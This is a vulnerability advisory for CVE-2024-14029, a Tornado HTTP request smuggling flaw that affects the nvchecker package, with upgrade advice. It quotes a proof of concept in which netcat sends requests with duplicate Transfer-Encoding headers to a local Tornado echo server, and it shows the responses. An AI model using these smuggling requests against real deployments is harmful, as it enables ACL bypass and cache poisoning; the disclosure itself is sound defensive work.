CVE-2024-14029: Nvchecker · Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado
Affects nvcheckerSource GCVE Database
Not known to be exploited · CVSS 9.0 Critical : upgrade to 2.15.1_1 as a priority.
Data as of 30 Oct 2026, 07:30 UTC
- Patch
- Available – fixed in 2.15.1_1
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 15 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.
What to do
Upgrade nvchecker to 2.15.1_1.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Homebrewnvcheckerpkg:brew/nvcheckerOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.